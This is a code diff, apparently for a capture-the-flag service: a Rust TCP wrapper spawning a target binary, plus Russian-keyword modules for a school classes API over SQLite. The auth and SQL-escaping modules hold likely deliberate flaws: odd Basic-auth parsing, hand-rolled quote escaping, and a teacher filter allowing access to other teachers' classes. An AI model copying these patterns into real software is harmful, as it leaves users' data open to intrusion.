"futures-channel",
"futures-core",
"http",
"http-body",
"httparse",
"httpdate",
"itoa",
"pin-project-lite",
"pin-utils",
"smallvec",
"tokio",
]
[[package]]
name = "hyper-util"
version = "0.1.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3c6995591a8f1380fcb4ba966a252a4b29188d51d2b89e3a252f5305be65aea8"
dependencies = [
"bytes",
"futures-core",
"http",
"http-body",
"hyper",
"pin-project-lite",
"tokio",
"tower-service",
]
[[package]]
name = "itoa"
version = "1.0.15"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
[[package]]
name = "libc"
version = "0.2.177"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976"
[[package]]
name = "lock_api"
version = "0.4.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965"
dependencies = [
"scopeguard",
]
[[package]]
name = "log"
version = "0.4.28"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "34080505efa8e45a4b816c349525ebe327ceaa8559756f0356cba97ef3bf7432"
[[package]]
name = "matchit"
version = "0.8.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3"
[[package]]
name = "memchr"
version = "2.7.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
[[package]]
name = "mime"
version = "0.3.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
[[package]]
name = "mime_guess"
version = "2.0.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e"
dependencies = [
"mime",
"unicase",
]
[[package]]
name = "mio"
version = "1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "69d83b0086dc8ecf3ce9ae2874b2d1290252e2a30720bea58a5c6639b0092873"
dependencies = [
"libc",
"wasi",
"windows-sys 0.61.2",
]
[[package]]
name = "once_cell"
version = "1.21.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
[[package]]
name = "parking_lot"
version = "0.12.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a"
dependencies = [
"lock_api",
"parking_lot_core",
]
[[package]]
name = "parking_lot_core"
version = "0.9.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1"
dependencies = [
"cfg-if",
"libc",
"redox_syscall",
"smallvec",
"windows-link",
]
[[package]]
name = "percent-encoding"
version = "2.3.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220"
[[package]]
name = "pin-project-lite"
version = "0.2.16"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b"
[[package]]
name = "pin-utils"
version = "0.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
[[package]]
name = "proc-macro2"
version = "1.0.101"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.41"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ce25767e7b499d1b604768e7cde645d14cc8584231ea6b295e9c9eb22c02e1d1"
dependencies = [
"proc-macro2",
]
[[package]]
name = "redox_syscall"
version = "0.5.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d"
dependencies = [
"bitflags",
]
[[package]]
name = "ryu"
version = "1.0.20"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
[[package]]
name = "scopeguard"
version = "1.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
[[package]]
name = "serde"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
dependencies = [
"serde_core",
]
[[package]]
name = "serde_core"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
dependencies = [
"serde_derive",
]
[[package]]
name = "serde_derive"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "serde_json"
version = "1.0.145"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "402a6f66d8c709116cf22f558eab210f5a50187f702eb4d7e5ef38d9a7f1c79c"
dependencies = [
"itoa",
"memchr",
"ryu",
"serde",
"serde_core",
]
[[package]]
name = "serde_path_to_error"
version = "0.1.20"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "10a9ff822e371bb5403e391ecd83e182e0e77ba7f6fe0160b795797109d1b457"
dependencies = [
"itoa",
"serde",
"serde_core",
]
[[package]]
name = "serde_urlencoded"
version = "0.7.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
dependencies = [
"form_urlencoded",
"itoa",
"ryu",
"serde",
]
[[package]]
name = "signal-hook-registry"
version = "1.4.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b2a4719bff48cee6b39d12c020eeb490953ad2443b7055bd0b21fca26bd8c28b"
dependencies = [
"libc",
]
[[package]]
name = "smallvec"
version = "1.15.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
[[package]]
name = "socket2"
version = "0.6.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "17129e116933cf371d018bb80ae557e889637989d8638274fb25622827b03881"
dependencies = [
"libc",
"windows-sys 0.60.2",
]
[[package]]
name = "syn"
version = "2.0.107"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2a26dbd934e5451d21ef060c018dae56fc073894c5a7896f882928a76e6d081b"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "sync_wrapper"
version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263"
[[package]]
name = "tokio"
version = "1.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ff360e02eab121e0bc37a2d3b4d4dc622e6eda3a8e5253d5435ecf5bd4c68408"
dependencies = [
"bytes",
"libc",
"mio",
"parking_lot",
"pin-project-lite",
"signal-hook-registry",
"socket2",
"tokio-macros",
"windows-sys 0.61.2",
]
[[package]]
name = "tokio-macros"
version = "2.6.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "af407857209536a95c8e56f8231ef2c2e2aff839b22e07a1ffcbc617e9db9fa5"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "tokio-util"
version = "0.7.16"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "14307c986784f72ef81c89db7d9e28d6ac26d16213b109ea501696195e6e3ce5"
dependencies = [
"bytes",
"futures-core",
"futures-sink",
"pin-project-lite",
"tokio",
]
[[package]]
name = "tower"
version = "0.5.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d039ad9159c98b70ecfd540b2573b97f7f52c3e8d9f8ad57a24b916a536975f9"
dependencies = [
"futures-core",
"futures-util",
"pin-project-lite",
"sync_wrapper",
"tokio",
"tower-layer",
"tower-service",
"tracing",
]
[[package]]
name = "tower-http"
version = "0.6.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "adc82fd73de2a9722ac5da747f12383d2bfdb93591ee6c58486e0097890f05f2"
dependencies = [
"bitflags",
"bytes",
"futures-core",
"futures-util",
"http",
"http-body",
"http-body-util",
"http-range-header",
"httpdate",
"mime",
"mime_guess",
"percent-encoding",
"pin-project-lite",
"tokio",
"tokio-util",
"tower-layer",
"tower-service",
"tracing",
]
[[package]]
name = "tower-layer"
version = "0.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e"
[[package]]
name = "tower-service"
version = "0.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3"
[[package]]
name = "tracing"
version = "0.1.41"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
dependencies = [
"log",
"pin-project-lite",
"tracing-core",
]
[[package]]
name = "tracing-core"
version = "0.1.34"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678"
dependencies = [
"once_cell",
]
[[package]]
name = "unicase"
version = "2.8.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "75b844d17643ee918803943289730bec8aac480150456169e647ed0b576ba539"
[[package]]
name = "unicode-ident"
version = "1.0.19"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f63a545481291138910575129486daeaf8ac54aee4387fe7906919f7830c7d9d"
[[package]]
name = "wasi"
version = "0.11.1+wasi-snapshot-preview1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
[[package]]
name = "windows-link"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
[[package]]
name = "windows-sys"
version = "0.60.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb"
dependencies = [
"windows-targets",
]
[[package]]
name = "windows-sys"
version = "0.61.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
dependencies = [
"windows-link",
]
[[package]]
name = "windows-targets"
version = "0.53.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3"
dependencies = [
"windows-link",
"windows_aarch64_gnullvm",
"windows_aarch64_msvc",
"windows_i686_gnu",
"windows_i686_gnullvm",
"windows_i686_msvc",
"windows_x86_64_gnu",
"windows_x86_64_gnullvm",
"windows_x86_64_msvc",
]
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53"
[[package]]
name = "windows_aarch64_msvc"
version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006"
[[package]]
name = "windows_i686_gnu"
version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3"
[[package]]
name = "windows_i686_gnullvm"
version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c"
[[package]]
name = "windows_i686_msvc"
version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2"
[[package]]
name = "windows_x86_64_gnu"
version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1"
[[package]]
name = "windows_x86_64_msvc"
version = "0.53.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650"
[[package]]
name = "wrapper"
version = "0.1.0"
dependencies = [
"axum",
"hyper-util",
"tokio",
"tower-http",
]

10
wrapper/Cargo.toml Normal file
View File

@@ -0,0 +1,10 @@
[package]
name = "wrapper"
version = "0.1.0"
edition = "2024"
[dependencies]
axum = "0.8.6"
hyper-util = { version = "0.1.17", features = ["server", "tokio", "http1"] }
tokio = { version = "1.48.0", features = ["full"] }
tower-http = { version = "0.6.6", features = ["fs"] }

188
wrapper/src/main.rs Normal file
View File

@@ -0,0 +1,188 @@
use core::net::SocketAddr;
use core::time::Duration;
use std::path::PathBuf;
use std::process::Stdio;
use std::{env, error};
use axum::body::Body;
use axum::http::{HeaderValue, Request, header};
use axum::middleware::Next;
use axum::response::Response;
use axum::{Router, middleware};
use hyper_util::rt::{TokioExecutor, TokioIo};
use hyper_util::server::conn::auto;
use hyper_util::service::TowerToHyperService;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};
use tokio::process::Command;
use tokio::sync::OnceCell;
use tokio::sync::mpsc::{self, Receiver};
use tokio::task::JoinSet;
use tower_http::services::ServeDir;
const MAX_CONCURRENT: usize = 100;
const MAX_BUFFERED: usize = 500;
const DEFAULT_BIN_PATH: &str = "../build/target.exe";
const DEFAULT_STATIC_PATH: &str = "../frontend";
const TIMEOUT_SECS: u64 = 10;
static BIN_PATH: OnceCell<PathBuf> = OnceCell::const_new();
static STATIC_PATH: OnceCell<PathBuf> = OnceCell::const_new();
#[derive(Debug)]
#[allow(dead_code)]
struct NetworkConnection(pub TcpStream, pub SocketAddr);
#[tokio::main]
async fn main() -> Result<(), Box<dyn error::Error>> {
if let Ok(path) = env::var("BIN_PATH")
&& path != ""
{
BIN_PATH.set(PathBuf::from(path)).unwrap();
} else {
BIN_PATH.set(PathBuf::from(DEFAULT_BIN_PATH)).unwrap();
}
if let Ok(path) = env::var("STATIC_PATH")
&& path != ""
{
STATIC_PATH.set(PathBuf::from(path)).unwrap();
} else {
STATIC_PATH.set(PathBuf::from(DEFAULT_STATIC_PATH)).unwrap();
}
Command::new(BIN_PATH.get().unwrap())
.arg("-роанапур=истина")
.spawn()?
.wait()
.await?;
let listener = TcpListener::bind("0.0.0.0:1337").await?;
let (tx, rx) = mpsc::channel::<NetworkConnection>(MAX_BUFFERED);
tokio::spawn(process_connections(rx));
loop {
let connection = listener.accept().await?;
if tx
.try_send(NetworkConnection(connection.0, connection.1))
.is_err()
{
println!(
"Connection queue full, dropping connection from {}",
connection.1
);
}
}
}
async fn process_connections(mut rx: Receiver<NetworkConnection>) {
let mut join_set = JoinSet::new();
loop {
let available = MAX_CONCURRENT - join_set.len();
tokio::select! {
connection = rx.recv(), if available > 0 => {
if let Some(connection) = connection {
join_set.spawn(handle_connection_or_timeout(connection));
}
},
_ = join_set.join_next(), if join_set.len() > 0 => {}
}
}
}
async fn handle_connection_or_timeout(
connection: NetworkConnection,
) -> Result<(), Box<dyn error::Error + Send + Sync>> {
tokio::select! {
result = handle_connection(connection) => {
result
},
_ = tokio::time::sleep(Duration::from_secs(TIMEOUT_SECS)) => {
Err("Connection timed out".into())
}
}
}
async fn handle_connection(
mut connection: NetworkConnection,
) -> Result<(), Box<dyn error::Error + Send + Sync>> {
let is_frontend = check_is_frontend_request(&mut connection).await?;
if is_frontend {
return serve_frontend_file(connection).await;
}
let mut child = Command::new(BIN_PATH.get().unwrap())
.arg("-подшефный=истина")
.stdin(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?;
let mut stderr = child.stderr.take().unwrap();
let mut stdin = child.stdin.take().unwrap();
loop {
let mut tcp_buf = [0u8; 4096];
let mut stderr_buf = [0u8; 4096];
tokio::select! {
result = connection.0.read(&mut tcp_buf) => match result {
Ok(how_many) => stdin.write_all(&tcp_buf[0..how_many]).await?,
Err(e) => break Err(e.into()),
},
result = stderr.read(&mut stderr_buf) => match result {
Ok(0) => break Ok(()),
Ok(how_many) => connection.0.write_all(&stderr_buf[0..how_many]).await?,
Err(e) => break Err(e.into()),
},
}
}
}
async fn check_is_frontend_request(
connection: &mut NetworkConnection,
) -> Result<bool, Box<dyn error::Error + Send + Sync>> {
let mut peek_buf = [0u8; 8];
let bytes_read = connection.0.peek(&mut peek_buf).await?;
if bytes_read == 0 {
return Err("Connection closed before sending data".into());
}
let request_str = String::from_utf8_lossy(&peek_buf);
return Ok(bytes_read == peek_buf.len()
&& request_str.starts_with("GET")
&& !request_str.ends_with("api"));
}
async fn serve_frontend_file(
connection: NetworkConnection,
) -> Result<(), Box<dyn error::Error + Send + Sync>> {
let stream = connection.0;
let app = Router::new()
.fallback_service(
ServeDir::new(STATIC_PATH.get().unwrap()).append_index_html_on_directories(true),
)
.layer(middleware::from_fn(add_connection_close));
let tower_svc = app.into_service();
let hyper_svc = TowerToHyperService::new(tower_svc);
auto::Builder::new(TokioExecutor::new())
.serve_connection(TokioIo::new(stream), hyper_svc)
.await?;
Ok(())
}
async fn add_connection_close(req: Request<Body>, next: Next) -> Response {
let mut res = next.run(req).await;
res.headers_mut()
.insert(header::CONNECTION, HeaderValue::from_static("close"));
res
}

View File

@@ -0,0 +1,101 @@
модуль скуля
осторожно // cognitohazard!
импорт "стд::вывод"
импорт "исх/спринтф"
импорт "исх/строка"
импорт "исх/форматы/джесон"
// c:include "sckulya.h"
фн tri_sqlite_open(файл: Строка, оплошность := Строка): Цел64 @внеш
фн tri_sqlite_close(бд: Цел64): Цел64 @внеш
фн tri_sqlite_exec(бд: Цел64, прошение: Строка, оплошность := Строка) @внеш
фн tri_sqlite_query(бд: Цел64, прошение: Строка, результат := Строка, оплошность := Строка): Цел64 @внеш
тип Картотека* = класс {
ручка: Цел64 := -1
}
фн открыть картотеку*(путь: Строка): Картотека {
пусть оплошность := ""
пусть ручка = tri_sqlite_open(путь, оплошность)
если оплошность # "" {
авария(спринтф.ф("не удалось открыть картотеку: $стр", оплошность))
}
вернуть Картотека{
ручка: ручка
}
}
фн (к: Картотека) закрыть*() {
пусть код = tri_sqlite_close(к.ручка)
если код # 0 {
авария(спринтф.ф("не удалось закрыть картотеку, код $цел", код))
}
}
фн (к: Картотека) выполнить*(прошение: Строка, оплошность := Строка) {
tri_sqlite_exec(к.ручка, прошение, оплошность)
}
фн (к: Картотека) запросить*(прошение: Строка, оплошность := Строка): джесон.ДжесонМногоЗначений {
пусть результат := ""
пусть код = tri_sqlite_query(к.ручка, прошение, результат, оплошность)
если оплошность # "" {
вернуть джесон.ДжесонМногоЗначений{}
}
пусть объект = джесон.парсить(спринтф.ф("{\"данные\": $стр}", результат), оплошность)
если оплошность # "" {
вернуть джесон.ДжесонМногоЗначений{}
}
вернуть объект.значения[0].значение(:джесон.ДжесонМногоЗначений)
}
тип Аргумент = класс {
}
фн экранировать(т аргумента: Слово64, аргумент: *): Строка {
пусть кек = аргумент(:Слово64)
если т аргумента = тег(Строка) {
пусть знач = кек(:осторожно Строка)
вернуть спринтф.ф("'$стр'", строка.заменить(знач, "'", "''"))
}
если т аргумента = тег(Цел64) {
пусть знач = кек(:осторожно Цел64)
вернуть спринтф.ф("$цел", знач)
}
авария("неподдерживаемый тип аргумента")
}
фн (к: Картотека) запросить безопасно*(прошение: Строка, оплошность := Строка, аргументы: ...*): джесон.ДжесонМногоЗначений {
пусть части прошения = строка.разобрать(прошение, "?")
если длина(части прошения) - 1 # длина(аргументы) {
авария("число аргументов не совпадает с числом подстановок")
}
пусть собранное прошение := ""
пусть ай := 0
пока ай < длина(аргументы) {
собранное прошение := строка.собрать(собранное прошение, части прошения[ай], экранировать(тег(аргументы[ай]), нечто(аргументы[ай])))
ай++
}
собранное прошение := строка.собрать(собранное прошение, части прошения[ай])
вернуть к.запросить(собранное прошение, оплошность)
}

View File

@@ -0,0 +1,28 @@
модуль бюрократия
импорт "исх/строка"
импорт "исх/сеть/хттп"
тип Паспорт* = класс {
имя пользователя*: Строка := ""
пароль*: Строка := ""
}
фн получить данные паспорта*(обращение: хттп.ХттпОбращение): мб Паспорт {
цикл [номер]заглавие среди обращение.заглавия {
если заглавие.имя = "Authorization" {
пусть части = строка.разобрать(заглавие.значение, " ")
если длина(части) # 3 | части[0] # "Basic" {
вернуть пусто
}
вернуть Паспорт{
имя пользователя: части[1],
пароль: части[2],
}
}
}
вернуть пусто
}

View File

@@ -0,0 +1,18 @@
модуль главный
импорт "исх/массивы"
импорт "исх/сеть/хттп"
импорт "исх/сеть/хттп/маршрутизатор"
фн главный*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
вернуть хттп.ХттпОтвет{
туловище: "Привет, мир!",
}
}
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
маршрутизатор.добавить маршрут("/api/", массивы.Строки["GET"], главный)
вернуть маршрутизатор
}

View File

@@ -0,0 +1,373 @@
модуль классы
импорт "стд::вывод"
импорт "исх/строка"
импорт "исх/спринтф"
импорт "исх/массивы"
импорт "исх/сеть/хттп"
импорт "исх/форматы/джесон"
импорт "исх/сеть/хттп/маршрутизатор"
импорт "исх/картотека"
импорт "исх/картотека/репозитории"
импорт "исх/бюрократия"
фн список классов*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если учитель = пусто & ~админ {
вернуть хттп.ответ_403()
}
пусть фильтр по учителю := -1
пусть параметр учитель = обращение.запрос-в-пути.найти("учитель")
если параметр учитель # пусто {
пусть номер байта := 0
строка.извлечь цел(параметр учитель^.значение, номер байта, фильтр по учителю)
} иначе если ~админ {
фильтр по учителю := учитель^.идентификатор
}
если фильтр по учителю = -1 {
вернуть хттп.ответ_400()
}
пусть классы := картотека.запросить безопасно(`
SELECT id, number, letter, creator_teacher_id
FROM classes
WHERE creator_teacher_id = ?
`, оплошность, фильтр по учителю)
пусть джесон ответ = джесон.ДжесонМногоЗначений{}
цикл [номер телефона мамы]клass среди классы.значения {
пусть объект = клass(:джесон.ДжесонОбъект)
пусть идентификатор = объект.получить("id").число()^.значение
пусть номер = объект.получить("number").число()^.значение
пусть буква = объект.получить("letter").строка()^
пусть создатель = объект.получить("creator_teacher_id").число()^.значение
пусть джесон клass = джесон.ДжесонОбъект{}
джесон клass.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор })
джесон клass.вставить("номер", джесон.ДжесонЧисло{ значение: номер })
джесон клass.вставить("буква", джесон.ДжесонСтрока{ значение: буква })
джесон клass.вставить("создатель", джесон.ДжесонЧисло{ значение: создатель })
джесон ответ.значения.добавить(джесон клass)
}
пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{
значения: джесон.ДжесонКлючЗначения[
джесон.ДжесонКлючЗначение{
ключ: "классы",
значение: джесон ответ
}
]
})
вернуть хттп.ХттпОтвет{
туловище: туловище
}
}
фн создать клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто {
вернуть хттп.ответ_403()
}
пусть данные = джесон.парсить(обращение.туловище, оплошность)
если оплошность # "" {
вернуть хттп.ответ_400()
}
пусть номер := данные.получить("номер").число()
пусть буква := данные.получить("буква").строка()
если номер = пусто | буква = пусто {
вернуть хттп.ответ_400()
}
пусть ответ = картотека.запросить безопасно(`
INSERT INTO classes (number, letter, creator_teacher_id)
VALUES (?, ?, ?)
RETURNING id, number, letter, creator_teacher_id
`, оплошность, номер^.значение, буква^, учитель^.идентификатор)
если оплошность # "" {
вернуть хттп.ответ_422()
}
если длина(ответ.значения) = 0 {
вернуть хттп.ответ_500()
}
пусть созданный = ответ.значения[0](:джесон.ДжесонОбъект)
пусть идентификатор = созданный.получить("id").число()^.значение
пусть создан номер = созданный.получить("number").число()^.значение
пусть создан буква = созданный.получить("letter").строка()^
пусть создан создатель = созданный.получить("creator_teacher_id").число()^.значение
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
значения: джесон.ДжесонКлючЗначения[
джесон.ДжесонКлючЗначение{ключ: "идентификатор", значение: джесон.ДжесонЧисло{значение: идентификатор}},
джесон.ДжесонКлючЗначение{ключ: "номер", значение: джесон.ДжесонЧисло{значение: создан номер}},
джесон.ДжесонКлючЗначение{ключ: "буква", значение: джесон.ДжесонСтрока{значение: создан буква}},
джесон.ДжесонКлючЗначение{ключ: "создатель", значение: джесон.ДжесонЧисло{значение: создан создатель}}
]
})
вернуть хттп.создать ответ(
хттп.ответ_201(),
хттп.ХттпОтвет{туловище: тело}
)
}
фн удалить клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто & ~админ {
вернуть хттп.ответ_403()
}
если длина(параметры) < 1 {
вернуть хттп.ответ_400()
}
пусть ид класса = параметры[0]
пусть ответ := джесон.ДжесонМногоЗначений{}
если админ {
ответ := картотека.запросить безопасно(`
DELETE FROM classes WHERE id = ?
RETURNING id
`, оплошность, ид класса)
} иначе {
ответ := картотека.запросить безопасно(`
DELETE FROM classes WHERE id = ? AND creator_teacher_id = ?
RETURNING id
`, оплошность, ид класса, учитель^.идентификатор)
}
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(ответ.значения) = 0 {
вывод.ф("Класс с id = $стр не найден или не принадлежит учителю", ид класса)
вернуть хттп.ответ_404()
}
вернуть хттп.ответ_204()
}
фн добавить ученика в клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто & ~админ {
вернуть хттп.ответ_403()
}
если длина(параметры) < 2 {
вернуть хттп.ответ_400()
}
пусть ид класса = параметры[0]
пусть ид ученика = параметры[1]
пусть клass := джесон.ДжесонМногоЗначений{}
если админ {
клass := картотека.запросить безопасно(`
SELECT id FROM classes WHERE id = ?
`, оплошность, ид класса)
} иначе {
клass := картотека.запросить безопасно(`
SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ?
`, оплошность, ид класса, учитель^.идентификатор)
}
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(клass.значения) = 0 {
вернуть хттп.ответ_403()
}
пусть ученик = картотека.запросить безопасно(`
SELECT id FROM students WHERE id = ?
`, оплошность, ид ученика)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(ученик.значения) = 0 {
вернуть хттп.ответ_404()
}
пусть ответ = картотека.запросить безопасно(`
INSERT INTO class_students (class_id, student_id)
VALUES (?, ?)
RETURNING id
`, оплошность, ид класса, ид ученика)
если оплошность # "" {
вернуть хттп.ответ_422()
